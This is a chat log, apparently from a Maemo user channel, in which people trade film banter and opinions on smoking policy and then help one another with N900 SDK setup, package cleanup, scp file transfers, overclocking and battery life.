| SpeedEvil | Indiana jones moment for me will always be the sword + gunfight. | 02:06 |
| Shapeshifter | mission impossible was still fun | 02:06 |
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| Macer | i HATED mission impossible :) all of them | 02:06 |
| Shapeshifter | meh | 02:06 |
| Shapeshifter | you don't understand meaningless fun | 02:06 |
| Macer | rambo is meaningless fun ;) | 02:07 |
| Macer | well.. part 2 and 3 were | 02:07 |
| SpeedEvil | Bring It On. | 02:07 |
| Macer | part 1 was someone actually trying to make a plot out of someone blowing things up | 02:07 |
| Macer | but part 2 and 3 were a riot | 02:07 |
| Shapeshifter | here's one | 02:07 |
| Macer | i don't think hollywood understands how much it hurts when someone is shot :) | 02:07 |
| Shapeshifter | mh I forgot the name | 02:08 |
| Macer | it's not like "let me just brush it off and start running around again" like rambo would lead you to believe haha | 02:08 |
| Shapeshifter | how could I | 02:08 |
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| Macer | legend was an ok tom cruise movie | 02:08 |
| Shapeshifter | Demolition Man!! | 02:08 |
| Shapeshifter | that is fun | 02:08 |
| Macer | oh hell yeah! | 02:08 |
| Macer | haha | 02:08 |
| Macer | forgot about thatone | 02:08 |
| Macer | it is so like real life.. where people have awesome names like SIMON PHOENIX... and JOHN SPARTAN | 02:09 |
| Macer | :) | 02:09 |
| Macer | i want a name like simon phoenix | 02:09 |
| Shapeshifter | :) | 02:09 |
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| Shapeshifter | http://upload.wikimedia.org/wikipedia/commons/c/c2/Flickr_-_nicogenin_-_66%C3%A8me_Festival_de_Venise_%28Mostra%29_-_Sylvester_Stallone_%2826%29.jpg | 02:10 |
| Shapeshifter | what a picture | 02:10 |
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| * swc|666 has that same tie oddly | 02:20 | |
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| swc|666 | spaceballs | 02:22 |
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| crashanddie | I just thought about something (yes, it hurts): Why are products to quit smoking not reimbursed by social security? (talking for countries that actually have SS) | 02:26 |
| swc|666 | yeah for real | 02:27 |
| swc|666 | or | 02:27 |
| swc|666 | in the U.S., the tobacco companies were mandated to spend X $'s /yr on anti-smoking campaigns .. why not make them give out free nicotine patches to quitters/etc | 02:27 |
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| crashanddie | Well, no, that's ridiculous | 02:28 |
| crashanddie | It's like asking mcdonalds to give free passes to gyms | 02:28 |
| PerfDave | In the UK, you *can* get anti-smoking treatments on the NHS under certain circumstances. | 02:28 |
| crashanddie | PerfDave: erhm, I asked my GP and he laughed at the idea | 02:28 |
| d14 | where is mcd? x) | 02:29 |
| * d14 have higlite to mcd :)) | 02:29 | |
| PerfDave | crashanddie: Under certain circumstances :) | 02:29 |
| crashanddie | PerfDave: which are? | 02:29 |
| MohammadAG | poor poor frals, 0 karma on fMMS | 02:29 |
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| PerfDave | crashanddie: Fucked if I know, I don't work in the NHS :) | 02:29 |
| crashanddie | I mean, on average, it takes 4 tries for a smoker to either completely quit smoking, or completely quit quitting. | 02:30 |
| PerfDave | But I do know people who've had access to nicotine patches etc. on the NHS. Possibly depends on whether your GP is happy to refer you or whether your PCT is happy to fund you, and whether your smoking is directly causing other health problems. | 02:30 |
| crashanddie | a full "quitting set" (patches, gums, whatev) costs roughly 130 eur, so let's say grossly 400 eur per smoker | 02:30 |
| Kegetys | you start smoking by your own will and choise so I guess it doesnt quite fit to something normally covered by social security | 02:30 |
| lcuk | crashanddie, gyms in mcdonalds stores or franchise outlets in existing gyms would probably be a good thing | 02:30 |
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| crashanddie | Kegetys: except that smokers pay massive amount of taxes on cigarettes that massively fund social security | 02:31 |
| crashanddie | Kegetys: either refund my attempts to stop, or give me a priority pass in hospitals, I already pay a lot more than anyone else | 02:31 |
| Kegetys | dont buy them if you dont want to pay that ;) | 02:32 |
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| crashanddie | Kegetys: drinking in a conscious choice as well, however there are government-funded plans to help drinkers quit | 02:32 |
| crashanddie | s/in/is | 02:32 |
| Kegetys | yep, thats quite silly as well I think | 02:32 |
| lcuk | Kegetys, serious question - if everybody stopped smoking tomorrow would most of the hospitals close through lack of patients? | 02:32 |
| * PerfDave gave up smoking to try and help his sleep apnea | 02:32 | |
| Kegetys | lcuk: huh? | 02:32 |
| lcuk | sorry, meant to crashanddie | 02:33 |
| BCMM | is GNU screen available on the n900? | 02:33 |
| lcuk | but its relating to the amount of extra treatment smokers need | 02:33 |
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| crashanddie | lcuk: nope, I don't think the change would be noticeable to be honest | 02:33 |
| lcuk | but the money coming in would | 02:33 |
| crashanddie | fast food kills more people than cigs do | 02:33 |
| lcuk | yeah there should be a speed limit for burgersw | 02:34 |
| crashanddie | lcuk: it's funny though, they say they want us to quit, but they're telling us "If you want to quit, you have to pay" | 02:36 |
| crashanddie | and also "if you don't want to quit, you have to pay" | 02:36 |
| Kegetys | and "be smart and dont even start and you're ok" but not everyone listens ;) | 02:37 |
| lcuk | you dont pay for either service if you never start | 02:37 |
| lcuk | and once you are you are already paying so its just a trnasfer | 02:37 |
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| lcuk | they should sell vacations to desert islands with just food for a week | 02:38 |
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| crashanddie | meh, it's an addiction | 02:38 |
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| PerfDave | BCMM: I would be suprised if it weren't - pretty sure it'll compile against non-GNU libc without much work. | 02:40 |
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| trem | nite all, sweet dreams | 02:52 |
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| BCMM | PerfDave: what sort of libc do we have? | 03:01 |
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| PerfDave | BCMM: Oh, it is GNU... I thought the N900 used uclibc | 03:05 |
| b-man | nope, glibc | 03:07 |
| b-man | oh, wait lol | 03:07 |
| * b-man needs his coffee | 03:07 | |
| PerfDave | Shows what I know :) | 03:08 |
| ajf_ | I'm writing a gtk/hildon app and testing it in scratbox/xephyr following the steps in the wiki SDK_installation_for_beginners. In the scratchbox environment the app just shows gtk widget it's built on, wheresa on the n900 they actually appear like the hildon ones. | 03:11 |
| ajf_ | What could I be missing? :\ | 03:11 |
| b-man | did you run run-standalone.sh? | 03:11 |
| b-man | run-standalone.sh <your app> | 03:12 |
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| ajf_ | ah thanks, just working out this SBOX_CPUTRANSPARENCY_METHOD it wants now | 03:18 |
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| ajf_ | sorry if this is a dumb question, but I have the scratchbox-toolchain-cs2007q3-glibc2.5-arm7-1.0.12-9-i386.tar.gz devkit installed (by the sdk install script), /scratchbox/devkits/qemu/etc/cputransp-methods with qemu-arm-sb in it, but it won't let me select qemu-arm-sb as a cputransparency target | 03:35 |
| markinfo | Are the operations with SD card in MiniSDHC card slot slower than with Internal 2GB Storage on Nokia n810? | 03:39 |
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| tank-man | probably not a noticable speed difference | 03:51 |
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| dotblank | Hmm anyone have the QT sdk working with MADDE on the n900? | 04:08 |
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| dotblank | just did a dpkg -l | grep libqt4 | awk { print $2 } | xargs apt-get -y autoremove | 04:14 |
| dotblank | hopefully that doesn't brick my device | 04:15 |
| b-man | doesn't look too harmful :) | 04:17 |
| dotblank | wow that command freed 10% of my rootfs | 04:17 |
| omar | how much free rootfs space you have total? | 04:18 |
| dotblank | 10% | 04:18 |
| dotblank | lol | 04:18 |
| omar | lol u were capped :P | 04:18 |
| markinfo | why ist this one http://maemo.org/downloads/product/OS2008/seqretary/ not findable under "instalable applications" ? | 04:18 |
| ptl | so your rootfs was full before you ran that command? | 04:18 |
| omar | there's a script on maemo wiki that frees a lot more.. i was at 17 megs free and it put me to 68 megs | 04:19 |
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| lcuk | markinfo, if you are on an n900 its because its not in the fremantle repository | 04:19 |
| dotblank | is it normal to have both libqt4-* and libqt4-maemo5-* at the same time | 04:19 |
| lcuk | it is an os2008 older title and may not have been brought forward yet | 04:19 |
| dotblank | yes my device was full on rootfs | 04:19 |
| markinfo | lcuk, n810 | 04:19 |
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| omar | lemme see if mine has that dotblank | 04:21 |
| markinfo | do I need to add something like "beta" section on OS2008? | 04:21 |
| dotblank | my qt apps from the maemo sdk keep segfaulting so maybe that was the culprit? | 04:22 |
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| lcuk | markinfo, then check the repositories included | 04:22 |
| lcuk | yeah i cant remember off hand how to add extras | 04:22 |
| lcuk | its in the wiki tho | 04:23 |
| lcuk | markinfo, or you could just browser to that page on your 810 | 04:23 |
| lcuk | most have .install file stuff | 04:23 |
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| lcuk | the green arrow from within browser on your 810 should add the repo | 04:23 |
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| lcuk | and install app in one go | 04:23 |
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| markinfo | lcuk, - yes - there is some kawseq.com repository. | 04:25 |
| omar | dotblank, yeah i had both qt's | 04:27 |
| omar | have rather :) | 04:27 |
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| markinfo | Anyway - what is recommendable manager For Termins and tasks what would easy syncronized with debian desktop/server. | 04:28 |
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| lcuk | dunno | 04:28 |
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| dotblank | omar, can you gice me a dump of your dpkg-l | grep libqt4 I need to see the version numbers | 04:29 |
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| dotblank | give me * | 04:30 |
| omar | i'd have to drop my vpn to ssh into my phone.. | 04:30 |
| dotblank | oh well nevermind.. its just the packages for my libqt are from 2009 and I don't think thats normal.. it keeps segfaulting when I write qt app | 04:31 |
| dotblank | s | 04:31 |
| omar | my maemo ones are from 2010, the rest 2009 | 04:32 |
| dotblank | the maemo ones I see are from 2010 and are version 4.6.2 but the non maemo ones are from 09 and are 4.5.3 | 04:33 |
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| omar | yup same w/mine | 04:34 |
| omar | i haven't tried writing any apps yet though | 04:34 |
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| dotblank | well... don't know what to say... | 04:38 |
| dotblank | no its telling me that I need to relink it | 04:38 |
| omar | say you love me too! | 04:38 |
| dotblank | ah well.. maybe it will get fixed in pr1.2... of it ever comes | 04:39 |
| dotblank | I love you | 04:39 |
| dotblank | thanks for the hel | 04:39 |
| dotblank | p | 04:39 |
| omar | lol | 04:39 |
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| omar | anyway what're you trying to run on ur phone? want to send the files to me i'll try? | 04:40 |
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| Termana | hello | 04:41 |
| omar | hi | 04:41 |
| dotblank | just trying to get any qt apps ive compiled from the new nokia sdk | 04:42 |
| dotblank | I think ill just wait for pr 1.2 | 04:42 |
| omar | alright | 04:42 |
| omar | btw if you want more rootfs space the script i mentioned was here http://wiki.maemo.org/Free_up_rootfs_space | 04:43 |
| omar | gave me like 40 megs more :) | 04:43 |
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| omar | dotblank, mind telling me how i should get started making qt apps? I have some C++ just from university courses and know a bit of python | 04:45 |
| omar | i haven't really programmed any gui things before | 04:46 |
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| SpeedEvil | Just stick with commandline apps | 04:50 |
| SpeedEvil | ncurses/termcap | 04:50 |
| SpeedEvil | GUI is just a fad. | 04:50 |
| omar | would be nice to learn though, the average person doesn't care about cli apps | 04:52 |
| SpeedEvil | :) | 04:53 |
| * SpeedEvil needs to get with the program too. | 04:53 | |
| dotblank | omar, actually im doing this to learn myself | 04:54 |
| omar | stupid question, but where is gcc located on the device? | 04:55 |
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| dotblank | you don't really have the sdk on the device | 04:55 |
| omar | dotblank, how did you start though? | 04:55 |
| dotblank | The only way you would usually do this is make a chroot with the sdk on the flash portion | 04:55 |
| omar | whenever i go to learn something i keep jumping all over the place installing every IDE i see and 20 tabs open with different things | 04:56 |
| dotblank | I installed the scratchbox | 04:56 |
| dotblank | I started with just porting applications | 04:56 |
| omar | i have no idea how to do that ;) | 04:56 |
| omar | i guess you just need scratchbox to compile for armel? | 04:56 |
| dotblank | it wyea | 04:57 |
| dotblank | yea in a nutshell | 04:57 |
| omar | so after that just grab sourcecode for whatever it is you want and compile it with scratchbox? | 04:57 |
| dotblank | yupe | 04:57 |
| dotblank | yup* | 04:57 |
| omar | sounds fun | 04:57 |
| dotblank | not so simple | 04:58 |
| dotblank | opengl ES is a pain | 04:58 |
| dotblank | any app that depends on ogl will have problems... | 04:58 |
| omar | oh | 04:59 |
| dotblank | I actually got marble to compile... | 04:59 |
| omar | the first time i ever saw an n900 was on youtube running quake 3.. way before the device was released | 04:59 |
| omar | i figured it'd be easy to port apps | 04:59 |
| dotblank | it usually is.. I ported a battlenet server over to my n900 | 04:59 |
| dotblank | I havn' | 04:59 |
| dotblank | t released it tho | 05:00 |
| omar | battlenet server huh? | 05:00 |
| dotblank | for starcraft and warcraft | 05:00 |
| omar | i see | 05:00 |
| omar | why would you want to run a b.net server on your phone? :) | 05:00 |
| dotblank | great for mobile instant tournaments | 05:00 |
| MohammadAG | \o #maemo | 05:00 |
| omar | port the whole game then :) | 05:01 |
| dotblank | wel... | 05:01 |
| dotblank | game kinda depends on wine | 05:01 |
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| omar | oh.. is wine coming to n900? | 05:01 |
| dotblank | no | 05:01 |
| dotblank | if wine to work then.... | 05:01 |
| omar | too complicated i take it? | 05:01 |
| SpeedEvil | omar: wine+qemu might work | 05:02 |
| dotblank | that would be absolutely insaine | 05:02 |
| SpeedEvil | but the performance would be fo the order of magnitude of a 386/20 or so maybe | 05:02 |
| omar | SpeedEvil, googling qemu :) | 05:02 |
| dotblank | you might get it to work on those new intel mobile chips | 05:02 |
| lcuk | SpeedEvil, yayyy fractint | 05:02 |
| dotblank | with meego in the future | 05:02 |
| SpeedEvil | lcuk: And povray | 05:02 |
| omar | oh so you have 2 levels of emulation going, cpu and software | 05:02 |
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| SpeedEvil | lcuk: At a frame every few hours. | 05:03 |
| lcuk | that authentic feeling | 05:03 |
| dotblank | I have played starcraft on my n900 | 05:03 |
| dotblank | it was about 10 fps | 05:03 |
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| lcuk | at least in the past you KNEW you had done some real work when you computer strained for several hours to process your input | 05:03 |
| dotblank | I cheated though | 05:03 |
| dotblank | I had a vnc server | 05:04 |
| omar | wat? how'd you manage that | 05:04 |
| omar | o | 05:04 |
| SpeedEvil | X works OK - remoted | 05:04 |
| SpeedEvil | I've used the n900 to display desktop FF | 05:04 |
| lcuk | omar, and vnc isnt rocket science | 05:04 |
| SpeedEvil | It's actually quite usable | 05:04 |
| SpeedEvil | You need to turn off powersave on wifi though. | 05:04 |
| dotblank | I love scp | 05:04 |
| dotblank | I jsut scp all my music to my phone | 05:05 |
| omar | i'm not a linux expert so i prefer sshfs :D | 05:05 |
| dotblank | scp is freakishly easy | 05:06 |
| dotblank | its just like cp | 05:06 |
| SpeedEvil | kde filemanager just doing it is nice | 05:06 |
| SpeedEvil | rsync++ | 05:06 |
| omar | i remember the first time i tried using it, it took me like 10 mins to figure out the syntax | 05:06 |
| dotblank | scp file root@phone:/home/user/MyDocs/ | 05:07 |
| dotblank | never easier | 05:07 |
| omar | oh | 05:07 |
| omar | that is pretty easy | 05:07 |
| lcuk | dotblank, you think thats wise? | 05:08 |
| dotblank | lcuk, with root.. no | 05:08 |
| lcuk | yeah, you cant delete the files on the go | 05:08 |
| omar | why not with root? i thought mydocs was on the ntfs partition | 05:09 |
| dotblank | my xterm is on the go | 05:09 |
| dotblank | omar, its fat | 05:09 |
| omar | oh fat32 | 05:09 |
| omar | so what's not wise about that command? | 05:09 |
| dotblank | logging in with root is a big linux no no | 05:10 |
| dotblank | yet everyone secretly does it | 05:10 |
| omar | all the wikis and examples online aren't so secret about it :) | 05:11 |
| dotblank | omg.. my xterm just broke | 05:11 |
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| dotblank | How did this HAPPEN! | 05:12 |
| dotblank | I can't fix it | 05:12 |
| dotblank | I need the xterm to fix it | 05:12 |
| SpeedEvil | how broke? | 05:13 |
| dotblank | won't start | 05:13 |
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| omar | what'd you do to it? | 05:14 |
| dotblank | seems like rebooting it fixed it | 05:15 |
| dotblank | So im a big nerd but im going to make app that is a physics lab toolkit | 05:16 |
| dotblank | ie projection.. optics gravity circut theory among other things | 05:16 |
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| SpeedEvil | Add a grand unified theory, and I'll download it. | 05:17 |
| lcuk | can someone tell me what happens when they run this please http://liqbase.net/stuff/liqbubbles2.py | 05:18 |
| dotblank | I'll just include the theory of everything.. but it will just be stuck in extras devel | 05:18 |
| dotblank | forever | 05:18 |
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| omar | dotblank, fix your terminal? | 05:25 |
| dotblank | yea | 05:28 |
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| dotblank | what is the config option for apt that changes the apt cache download loacation | 05:39 |
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| dotblank | nvm found it | 05:43 |
| omar | i'm having probs trying to install maemo sdk, got this error: | 05:43 |
| omar | Inconsistency detected by ld.so: rtld.c: 1192: dl_main: Assertion `(void *) ph->p_vaddr == _rtld_local._dl_sysinfo_dso' failed! | 05:43 |
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| omar | everything i've read online says to echo 0 into something but that doesn't work | 05:44 |
| dotblank | are you on 64 bit? | 05:44 |
| omar | ya | 05:44 |
| dotblank | or using a new kernel | 05:44 |
| dotblank | ok | 05:44 |
| omar | 64 bit | 05:44 |
| dotblank | this command will fix it | 05:44 |
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| dotblank | sysctl abi.vsyscall32=0 | 05:45 |
| dotblank | as root | 05:45 |
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| omar | yay it worked ;) | 05:45 |
| omar | thanks | 05:45 |
| dotblank | that option will need to be run any time you login into sbox | 05:46 |
| omar | so i shall just make a script to do it for me then | 05:46 |
| omar | what's that option change exactly? | 05:46 |
| dotblank | dunno | 05:46 |
| omar | lol your fix was on the bottom of the page i'm reading | 05:47 |
| omar | didn't see it there | 05:47 |
| omar | oh -- is there a way to change the size of that gigantic X button when editing widgets? | 05:48 |
| omar | some of my widgets are so small there's nearly no room to move them with that huge X and the config button in the way | 05:48 |
| dotblank | can someone test my skype? | 05:50 |
| dotblank | my skypes been broken on my n900 | 05:50 |
| dotblank | or I think it is | 05:50 |
| omar | weird skype not in ubuntu repo | 05:51 |
| dotblank | why would it? | 05:51 |
| omar | just about everything else is! | 05:51 |
| dotblank | skype is closed source | 05:51 |
| dotblank | mostly | 05:51 |
| omar | oh so only open source on repos? didn't know that rule :P | 05:52 |
| dotblank | mostly | 05:52 |
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| omar | i'll try to skype w/ye as soon as i figure out my password | 05:54 |
| omar | i'm in -- add naomarik | 05:55 |
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| dotblank | calling out works but incoming im not so sure | 05:57 |
| omar | trying | 05:57 |
| dotblank | ok it works.. | 05:58 |
| omar | quality sounded good.. too bad i don't know anyone that uses skype | 05:58 |
| dotblank | I just updated the skype plugin tho | 05:58 |
| omar | i didn't think the n900 required a skype plugin? | 05:58 |
| dotblank | well I saw a deb related to it | 05:58 |
| dotblank | when i apt-get upgrade | 05:59 |
| dotblank | in pr1.2 there will be skype video calling | 05:59 |
| omar | yeah read about that | 05:59 |
| dotblank | can't wait for pr1.2 | 05:59 |
| omar | that'll be nice | 05:59 |
| omar | i'm really annoyed w/the widget configuration.. hope they do something about that | 05:59 |
| dotblank | did they say xmpp video calling would work? | 06:00 |
| omar | it's a pain to align things correctly | 06:00 |
| omar | yeah i think google+skype vid calling worked | 06:00 |
| twofishiies | is there a changelist somewhere? | 06:03 |
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| omar | so dotblank, mind if i refer to you while learning how to develop on maemo? | 06:18 |
| omar | can prob find most things on my own but it's lame to get stuck somewhere and not easily google an answer | 06:19 |
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| dotblank | omar, sure but im also new to developing apps on maemo | 06:36 |
| omar | even better, we can collaborate then :D | 06:37 |
| omar | i just got this phone like 4 days ago and i'm pretty excited about making things for it | 06:37 |
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| dotblank | omar, Ive had it for months | 06:38 |
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| omar | you think it'd be possible to make an app that reads in all the coordinate/sizes of widgets on desktop and lets you rearrange them using like a snap-to-grid? | 06:39 |
| budfive | omar: snap-to-grid already exists in the stock maemo | 06:39 |
| budfive | you can even choose the grid spacing | 06:40 |
| omar | wait waht? | 06:40 |
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| omar | where is this | 06:40 |
| budfive | i don't remember exactly. look around the settings | 06:40 |
| budfive | let me see | 06:40 |
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| Macer | omar: actually. you have to add an app for this | 06:40 |
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| budfive | yes, you're right | 06:41 |
| Macer | i think it's call tweakr | 06:41 |
| budfive | tweakr is what you want | 06:41 |
| Macer | or something like that | 06:41 |
| budfive | :) | 06:41 |
| omar | i've had instances where i've completely lost all my widgets too.. the .config/hildon-desktop/home.plugins gets reset for some reason | 06:41 |
| omar | so would be nice to have an app to back all that stuff up :) | 06:41 |
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| Macer | omar: well. i lose my contacts on the desktop if i disable my jabber client :/ | 06:41 |
| omar | can prob just write a sh script though for that | 06:41 |
| Macer | i thought that was kind of odd | 06:41 |
| Macer | :) | 06:41 |
| omar | i've lost my widgets twice.. but once you go to add them all their positions are the same | 06:42 |
| Macer | i'm sure things will get better with time.. maybe even get a portrait mode for the PHONE | 06:42 |
| * Macer hides | 06:42 | |
| omar | it's annoying to need to do that though | 06:42 |
| omar | and thx budfive i'll get tweakr now :D | 06:42 |
| dotblank | im going to make a per-contacts ringtone app | 06:42 |
| Macer | dotblank: that would be cool | 06:42 |
| Macer | but i think that was supposed to be part of 1.2 wasn't it? could be wrong tho | 06:42 |
| dotblank | already know how im going to do it | 06:42 |
| Macer | it would be awesome to have tho ;) | 06:43 |
| dotblank | I don't think it was | 06:43 |
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| Macer | oh. i thought someone here said it was.. but who knows. will just have to be patient and wait until it's stable and released | 06:43 |
| omar | any of you have your device overclocked? | 06:43 |
| Macer | you can overclock it?? haha | 06:43 |
| omar | lol yeah | 06:43 |
| dotblank | No, nor do i want to | 06:43 |
| dotblank | it can significantly reduce lifetime | 06:44 |
| Macer | yeah. i'd be a little nervous to overclock it :) | 06:44 |
| omar | looking at my history i've never owned a phone for more than a year and a half.. so i'm not really worried about it | 06:44 |
| Macer | especially since i got it less than a month ago | 06:44 |
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| dotblank | omar, it could die in months | 06:44 |
| Macer | well.. it's running at 600MHz now. so like. how fast can it go? :) | 06:44 |
| Macer | can you bump it up to 1GHz? | 06:45 |
| dotblank | someone did | 06:45 |
| omar | the voltage i'm using is lower than the stock kernel at 600 mhz | 06:45 |
| omar | yeah i have it running at 1000 mhz now | 06:45 |
| Macer | can you tell? | 06:45 |
| Macer | i mean. does it seem faster? :) | 06:45 |
| omar | i made some buttons on my desktop to change the speeds on the fly | 06:45 |
| omar | yeah it does | 06:45 |
| omar | most noticably browsing and using the app manager | 06:45 |
| dotblank | install the playstation emulator | 06:46 |
| Macer | that's awesome | 06:46 |
| omar | i haven't had the phone that long though so i haven't used it so much at stock speeds ;) | 06:46 |
| Macer | heh | 06:46 |
| omar | i have it dotblank | 06:46 |
| omar | was playing final fantasy tactics on psx4all extremely smoothly | 06:46 |
| omar | almost like it was running native | 06:46 |
| Macer | someone needs to make a dreamcast emulator for it :) | 06:46 |
| omar | but there's no save state and some of the sounds were screwy and dialogue boxes in game | 06:46 |
| dotblank | well emulation isnt always perfect | 06:47 |
| omar | i didn't know how to revert to psx4all 0.3.1 even though i have the package on my device | 06:47 |
| Macer | i find it irritating to play any game on the phone | 06:47 |
| Macer | although | 06:47 |
| Macer | i haven't tried the tv out :) | 06:47 |
| Macer | i wouldn't mind playing ioquake using the tv out if that's at all possible.. with a bt keyboard and mouse | 06:47 |
| dotblank | got my dualshock hooked up to it and played sonic on my TV | 06:47 |
| omar | well better that it's not perfect, i've been a gamer too long would rather be something more productive ;) | 06:47 |
| dotblank | I love sonic 3 | 06:47 |
| Macer | dualshock? | 06:47 |
| Macer | a ps3 controller? | 06:48 |
| Macer | heh | 06:48 |
| dotblank | yea dualshock 3 | 06:48 |
| Macer | it works? | 06:48 |
| Macer | that's awesome | 06:48 |
| dotblank | yup | 06:48 |
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| adalal | hey, sorry to bring this up, but how do i modify titan's kernel? | 06:48 |
| dotblank | I haven't the slightest | 06:48 |
| Macer | i sure wish blizzard would release starcraft for maemo haha | 06:48 |
| Macer | with net support | 06:48 |
| omar | you wanna modify the kernel itself or the clock settings? | 06:48 |
| Macer | tmobile would go bankrupt | 06:48 |
| Macer | because people would be wearing out their unlimited internet pkgs | 06:49 |
| dotblank | Macer, I already ported the battlenet server | 06:49 |
| Macer | dotblank: seriously? | 06:49 |
| dotblank | Macer, yea | 06:49 |
| adalal | omar: clock and voltage settings | 06:49 |
| Macer | dotblank: well. get starcraft working | 06:50 |
| Macer | or warcraft 2 or 3 :) | 06:50 |
| Macer | heh | 06:50 |
| dotblank | Macer, not as easy | 06:50 |
| Macer | probably impossible | 06:50 |
| dotblank | well warcraft is possible | 06:50 |
| Macer | but i'd love to see a REAL rts for the n900 | 06:50 |
| Macer | dotblank: port wine | 06:50 |
| omar | adalal, http://wiki.maemo.org/Overclocking | 06:50 |
| Macer | :) | 06:50 |
| Macer | we'll run it from wine | 06:50 |
| Macer | haha | 06:50 |
| Macer | although i doubt that wine would do very well to run x86 stuff on an arm | 06:51 |
| dotblank | it would be cool to see a mobile mmo | 06:51 |
| Macer | or if that is even possible. well.. i suppose anything is possible | 06:51 |
| dotblank | and it has location based services | 06:51 |
| Macer | dotblank: yeah that too | 06:51 |
| dotblank | OMG | 06:51 |
| Macer | i mean the n900 has the power to play SOMETHING good :) | 06:51 |
| Macer | sure wish someone would release something for it that would take advantage of it | 06:51 |
| dotblank | pokemon clone that when you get in proximitry would ring battle mode | 06:51 |
| Macer | haha | 06:51 |
| Macer | that would be a riot | 06:52 |
| dotblank | you would walking past someone in a store.. both phones ring | 06:52 |
| Macer | and it turns intoa pokemon fight in the middle of the store? | 06:52 |
| Macer | :) | 06:52 |
| dotblank | YES | 06:52 |
| Macer | i think street fighter 2 would be a little more fun | 06:52 |
| dotblank | that would be genious | 06:53 |
| Macer | but control on the phone itself sucks | 06:53 |
| dotblank | omg.. I should try to get sfIII 3rd strike | 06:53 |
| Macer | unless you did the on screen buttons thing.. but that doesn't work too well either | 06:53 |
| dotblank | dualshock 3? | 06:53 |
| adalal | omar: thanks, but which file is it that i need to change and reload the settings? | 06:53 |
| dotblank | Na I think a location based mmo would be cool | 06:54 |
| dotblank | you could leave epic quests for people in an area | 06:54 |
| dotblank | kinda like geocacheing | 06:54 |
| omar | do you have the enhanced kernel or the other one? | 06:54 |
| omar | actually | 06:55 |
| adalal | enhanced | 06:55 |
| adalal | i think | 06:55 |
| adalal | :S | 06:55 |
| adalal | maemo24 package | 06:55 |
| omar | adalal, they're in /usr/share/kernel-power-settings | 06:56 |
| omar | get maemo25 one it's nicer ;)\ | 06:56 |
| dotblank | augmented reality mmo | 06:56 |
| dotblank | wopuld be sick | 06:56 |
| dotblank | would* | 06:56 |
| adalal | omar: thanks dude, i think i'll upgrade to that soon.... any new changes to that? | 06:56 |
| omar | yeah the syntax of kernel confs are different | 06:56 |
| omar | and some guy on maemo forums named tonism found the lowest voltages possible per clock setting | 06:56 |
| omar | and has his confs online to use | 06:57 |
| adalal | k thx | 06:57 |
| dotblank | My n900 murders my battery | 06:57 |
| dotblank | its really really bad | 06:57 |
| omar | adalal, you can see that here http://talk.maemo.org/showpost.php?p=646072&postcount=101 | 06:58 |
| adalal | whats new in v25? | 06:58 |
| omar | dotblank, what do u mean? like when not using or when using it | 06:58 |
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| omar | adalal, as far as i know the conf files are different and it gives you an option to set a default kernel conf upon system boot | 06:58 |
| dotblank | not using it | 06:58 |
| dotblank | lasts like 4 hours | 06:58 |
| adalal | ah ok | 06:59 |
| adalal | k thanks thenm | 06:59 |
| omar | dotblank, why don't you fix it? :P | 06:59 |
| budfive | dotblank: know why? | 06:59 |
| omar | when i don't use my phone my battery graph has nearly no slope | 06:59 |
| omar | seems like it'd last months | 07:00 |
| dotblank | I have a ton of accounts set up on tjhe device | 07:00 |
| omar | oh if you have accounts + network running yeah that'll kill it ;P | 07:00 |
| omar | i saw someone on the forums show that the msn pecan plugin was killing the battery the hardest | 07:00 |
| dotblank | hmm | 07:01 |
| omar | btw dotblank you can download titan's kernel and undervolt ur cpu to make it drain less power | 07:02 |
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| omar | take a lookat this graph | 07:02 |
| omar | http://tonism.2bit.ee/N900/starving.png | 07:02 |
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| dotblank | hmm | 07:03 |
| omar | i've been running the starving conf so even at 1000 mhz i'm using less voltage than when the phone would normally run at 600 mhz | 07:03 |
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| dotblank | i wouldn't ever go above 600 mhz | 07:03 |
| omar | u don't need to.. you can still use 600 mhz and undervolt it | 07:04 |
| omar | i dunno if that's going to lessen the life though, wouldn't think it would | 07:04 |
| dotblank | will that cause damage? | 07:04 |
| omar | i don't see why it wouldn't be better than running it at a higher voltage | 07:04 |
| omar | i'm not really worried about overclcoking though personally, the desktop i'm using now is a 2.13ghz oc'd to 3.2 | 07:05 |
| omar | been running it like that forever | 07:05 |
| omar | and it's fine | 07:05 |
| dotblank | ivr oced my desktop plenty | 07:07 |
| dotblank | haven't really needed 2 much now adays | 07:07 |
| dotblank | Ive got 5 systems with 2.4 quads all running linux | 07:08 |
| omar | nice | 07:08 |
| dotblank | SETI@home better give me some kind of medal | 07:08 |
| omar | mine is a mere core2 duo :P | 07:08 |
| omar | and the mobo is kinda strange, developed a weird problem i don't know what's wrong with it | 07:08 |
| omar | sometimes my system will crash the only thing that works is reseating the ram | 07:09 |
| dotblank | custom built? | 07:09 |
| omar | yeah | 07:09 |
| omar | i had it shipped overseas | 07:09 |
| omar | and fedex did a horrible job packaging it | 07:09 |
| omar | so i think that contributed a lot to it | 07:09 |
| dotblank | my computer doesn't work with windows.. it restarts about every 30 mins | 07:09 |
| omar | weird | 07:09 |
| omar | mine is completely stable other than this weird prob i face | 07:10 |
| dotblank | ah, well no loss | 07:10 |
| omar | like sometimes i have to move what DIMM my ram is in | 07:10 |
| omar | so right now i'm not running dual channel | 07:10 |
| dotblank | is the boared bent | 07:10 |
| omar | nope it's perfect | 07:10 |
| dotblank | I have a mobo shipped from afar andit got bent a little | 07:10 |
| omar | and when it runs | 07:11 |
| omar | it runs flawlessly | 07:11 |
| dotblank | Had to put the board in a kind vice in order so the ram would fit all the pins | 07:11 |
| omar | sometimes for a week at a time, sometimes for a day or two until it crashes | 07:11 |
| dotblank | what mobo is it? | 07:11 |
| omar | asus p5b deluxe wifi | 07:11 |
| dotblank | it has wifi on it? | 07:11 |
| omar | i'd buy another one if i could find one :) | 07:11 |
| omar | yeah it does | 07:11 |
| dotblank | onboard? | 07:11 |
| omar | yeah | 07:12 |
| dotblank | how well does that work? | 07:12 |
| omar | had 0 problems with it | 07:12 |
| dotblank | hmm | 07:12 |
| dotblank | I hate wifi | 07:12 |
| dotblank | like its evil | 07:12 |
| omar | yeah i don't like it | 07:12 |
| omar | i moved to UAE though and the houses here are pure concrete too | 07:12 |
| omar | so wifi doesn't travel nicely | 07:12 |
| omar | at all | 07:12 |
| omar | it doesn't go through the walls | 07:12 |
| dotblank | I got a second verizon router so I can run MoCa instead of being wireless | 07:13 |
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| dotblank | turns any coax jack into a gigabit ethernet port | 07:13 |
| omar | oh? | 07:13 |
| dotblank | works really nice.. using it now | 07:13 |
| omar | never heard of it | 07:14 |
| dotblank | its a little known thing | 07:14 |
| omar | i saw a product that lets you runa network through the electrical system in your house | 07:14 |
| omar | don't know how well that'd work | 07:14 |
